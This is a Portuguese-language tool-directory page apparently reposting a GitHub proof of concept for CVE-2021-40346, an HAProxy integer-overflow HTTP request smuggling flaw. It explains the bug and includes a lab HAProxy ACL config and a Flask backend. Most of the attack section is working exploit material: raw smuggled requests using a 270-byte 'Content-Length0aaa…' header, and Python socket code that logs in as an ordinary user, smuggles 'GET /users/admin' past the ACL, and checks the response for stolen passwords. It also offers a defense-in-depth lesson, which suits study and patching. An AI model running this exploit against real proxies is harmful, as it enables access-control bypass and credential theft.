Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
Ferramentas/GitHubGitHub/boianeduard/cve-2021-40346
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-40346: HTTP Request Smuggling no HAProxy - Bypass de ACL

Visão Geral

Este projeto demonstra a CVE-2021-40346, uma vulnerabilidade crítica de integer overflow no HAProxy que permite ataques de HTTP Request Smuggling para contornar controles de segurança.

Pontuação CVSSv3: 7,5 (Alta)

Contribuidores:

  1. Boian Eduard
  2. Borsos Matheas-Roland

O que é CVE-2021-40346?

CVE-2021-40346 é uma vulnerabilidade de integer overflow na lógica de parsing de cabeçalhos HTTP do HAProxy. Quando um nome de cabeçalho excede 255 bytes, o valor de comprimento transborda de um campo de 8 bits, fazendo com que o HAProxy interprete incorretamente o cabeçalho durante o encaminhamento de requisições.

Como o Ataque Funciona

Detalhamento Passo a Passo

  1. Atacante envia: Nome do cabeçalho = "Content-Length0" + 255×'a' = 270 bytes

  2. Fase 1 (Parsing Inicial):

    • HAProxy lê todos os 270 bytes do nome do cabeçalho
    • Armazena name_length = 270 % 256 = 14 (overflow de 8 bits)
    • O bit de overflow define value_length = 1
    • Lê o cabeçalho legítimo Content-Length: 60 e o trata como comprimento do corpo
    • Lê 60 bytes como corpo da requisição (contendo a requisição contrabandeada)
  3. Fase 2 (Encaminhamento da Requisição):

    • Encontra o bloco de cabeçalho com overflow
    • Lê apenas os primeiros 14 caracteres: "Content-Length"
    • Lê 1 caractere para o valor (na posição 14): "0"
    • Adiciona content-length: 0 à requisição encaminhada
    • Ignora o cabeçalho real Content-Length: 60 (conforme lógica normal)
  4. Processamento do Backend:

    • Recebe content-length: 0 do HAProxy
    • Interpreta a requisição POST sem corpo
    • Trata o "corpo" (requisição GET contrabandeada) como a próxima requisição HTTP
    • Processa a requisição contrabandeada, contornando todas as ACLs do HAProxy

Exemplo de Fluxo de Ataque

Contornando Regras de ACL para Acessar Endpoint Admin

Considere o HAProxy configurado com regras de ACL que restringem o acesso a rotas de admin:

root@kitploit:~
http-request deny if { path_beg /users/admin }

Em nosso PoC, usamos uma sessão de usuário comum (alice) para acessar o endpoint protegido /users/admin que deveria ser acessível apenas a administradores.

Requisição Maliciosa (Request 1 - Poison):

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Requisição que o HAProxy Encaminha:

root@kitploit:~
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Requisição de Conclusão (Request 2):

root@kitploit:~
GET / HTTP/1.1
Host: 127.0.0.1:8080

Requisição Contrabandeada Completa que o Backend Processa:

root@kitploit:~
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

Resultado:

  1. HAProxy encaminha POST / com content-length: 0 (ACL vê rota segura)
  2. Backend processa POST / (sem corpo) e aguarda próxima requisição
  3. Backend trata a requisição GET /users/admin contrabandeada e incompleta como pendente
  4. Request 2 completa a requisição contrabandeada
  5. Backend processa GET /users/admin com a sessão de alice, contornando a ACL do HAProxy
  6. Resposta contendo segredos de admin é retornada ao atacante

Prova de Conceito

Configuração do Ambiente de Teste

Configuração do HAProxy (haproxy.cfg)

A instância vulnerável do HAProxy é configurada com regras de ACL para proteger o endpoint admin:

root@kitploit:~
...
    # ACL to detect admin endpoint access
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL to check for admin session cookie
    acl has_admin_session cook(session) -m beg admin_
    
    # Deny access to admin endpoint if user doesn't have admin session
    http-request deny if is_admin_endpoint !has_admin_session
...

Pontos-Chave:

  • Proteção ACL: /users/admin é bloqueado a menos que o cookie de sessão comece com admin_
  • HTTP Keep-Alive (Padrão): HAProxy usa modo keep-alive por padrão, reutilizando conexões TCP para o backend – isso é crítico para o ataque pois permite múltiplas requisições na mesma conexão
  • Controle de Acesso Baseado em Sessão: Usuários comuns (sessão começando com user_) são negados

Servidor Backend (Flask)

O servidor backend possui três usuários e um endpoint admin:

root@kitploit:~
USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... lógica de autenticação ...
    
    # Gera token de sessão com prefixo do papel
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Retorna dados sensíveis incluindo todas as senhas dos usuários
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

Modelo de Segurança:

  • Alice (usuário comum) recebe sessão: user_a1b2c3d4...
  • Admin recebe sessão: admin_a1b2c3d4...
  • HAProxy bloqueia requisições de alice para /users/admin
  • Má Configuração do Backend: O servidor Flask confia cegamente que o HAProxy já aplicou o controle de acesso e não revalida o token de sessão nem verifica se o usuário é realmente admin antes de servir dados sensíveis
  • Vulnerabilidade: O HTTP smuggling contorna a verificação de ACL do HAProxy, e o backend não possui defesa em profundidade

Por que Isso Funciona:

  1. HAProxy vê a requisição externa POST / (permitida)
  2. HAProxy verifica ACLs em POST / (sem restrição de admin)
  3. HAProxy encaminha content-length: 0 (devido ao bug de overflow)
  4. Backend recebe requisição incompleta GET /users/admin
  5. Segunda requisição a completa, contornando a verificação de ACL do HAProxy
  6. Backend serve cegamente o endpoint admin – nunca verifica se o token de sessão é realmente de admin
  7. Backend processa GET /users/admin diretamente, revelando senhas

Lição de Defesa em Profundidade: Isso demonstra por que backends nunca devem confiar cegamente no proxy. Mesmo com as ACLs do HAProxy em vigor, o backend deve:

  • Processar e validar o próprio token de sessão
  • Verificar o papel/permissões do usuário antes de servir endpoints sensíveis
  • Implementar sua própria lógica de autorização (ex.: decorador @require_admin)

Confiar exclusivamente no controle de acesso em nível de proxy cria um ponto único de falha.

Principais Sequências de Exploração

O PoC demonstra o contorno das ACLs do HAProxy para acessar /users/admin usando a sessão de um usuário comum através de quatro etapas principais:

1. Autenticação como Usuário Comum

root@kitploit:~
# Login como alice (usuário não-admin)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# Recebe resposta e extrai token de sessão
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

Propósito:

  • Obter um token de sessão legítimo para o usuário comum (alice)
  • Esta sessão normalmente não tem acesso ao endpoint /users/admin
  • Usaremos esta sessão na requisição contrabandeada para contornar as ACLs

2. Construção da Requisição Contrabandeada (Incompleta)

root@kitploit:~
# Cria requisição contrabandeada incompleta visando o endpoint admin
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

Detalhes Críticos:

  • Tem como alvo a rota protegida /users/admin
  • Usa a sessão legítima do usuário (alice)
  • Termina com o cabeçalho DUMMY: (sem CRLF) para manter a requisição incompleta
  • Backend aguardará mais dados antes de processar

3. Construção da Requisição Envenenada (Poison)

root@kitploit:~
# Cria cabeçalho de overflow (270 bytes = 14 após overflow de 8 bits)
overflow_header = "Content-Length0" + ("a" * 255)

# Monta requisição envenenada completa
poison = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"{overflow_header}:\r\n"                    # Dispara o integer overflow
    f"Content-Length: {len(smuggled_incomplete)}\r\n"  # Comprimento real do corpo
    f"\r\n"
    f"{smuggled_incomplete}"                     # Requisição contrabandeada como "corpo"
).encode()

O que Acontece:

  • Content-Length0aaa... (270 bytes) transborda para 14 bytes
  • Fase 2 do HAProxy lê os primeiros 14 caracteres: "Content-Length"
  • Valor na posição 14: "0"
  • HAProxy encaminha: content-length: 0
  • Backend recebe GET contrabandeado como requisição pendente

4. Envio das Requisições

root@kitploit:~
# Envia requisição envenenada
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096)  # Recebe resposta do POST /

# Envia requisição de conclusão (completa a requisição contrabandeada)
completion = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"\r\n"
).encode()

sock.sendall(completion)
time.sleep(2)

# Captura a resposta da requisição contrabandeada
all_data = b""
sock.settimeout(5)
try:
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        all_data += chunk
except:
    pass
sock.close()

# Decodifica e verifica sucesso
text = all_data.decode('utf-8', errors='ignore')

print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)

if "admin_secret" in text:
    print("\n✅ SUCESSO! ACL DO HAPROXY CONTORNADA!")
    print("🔓 Senhas roubadas visíveis na resposta acima!")
else:
    print("\n⚠️  Verifique logs do backend - o smuggling está funcionando mas a captura da resposta precisa de ajustes")

Fluxo das Requisições:

  1. Poison enviada → Backend armazena em buffer o GET /users/admin incompleto
  2. Completion enviada → Concatenada à requisição contrabandeada, adicionando CRLF duplo
  3. Backend processa → GET /users/admin completo com a sessão de alice
  4. Resposta capturada → Todos os dados recebidos e decodificados para UTF-8
  5. Detecção de sucesso → Verifica a palavra-chave admin_secret na resposta
Baixar ferramenta